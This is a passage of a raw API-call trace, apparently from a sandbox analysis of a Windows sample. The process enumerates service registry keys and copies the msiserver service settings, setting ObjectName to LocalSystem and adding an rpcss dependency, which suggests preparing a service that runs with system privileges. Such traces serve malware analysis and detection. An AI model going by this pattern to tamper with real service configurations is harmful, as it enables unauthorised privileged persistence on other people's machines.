0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0246.406] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0246.407] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0246.407] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0246.407] RegCloseKey (hKey=0x154) returned 0x0 [0246.407] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0246.407] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0246.407] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0246.408] RegCloseKey (hKey=0x80000002) returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0246.408] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.408] RegCloseKey (hKey=0x14c) returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0246.408] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0246.409] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0246.409] RegCloseKey (hKey=0x154) returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0246.409] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0246.410] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.410] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.411] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.411] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.411] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.411] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.411] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.412] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.413] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.413] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.413] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.413] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.413] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.414] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.414] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0246.462] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0246.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0246.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0246.462] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.463] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0246.463] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0246.463] RtlAllocateHeap 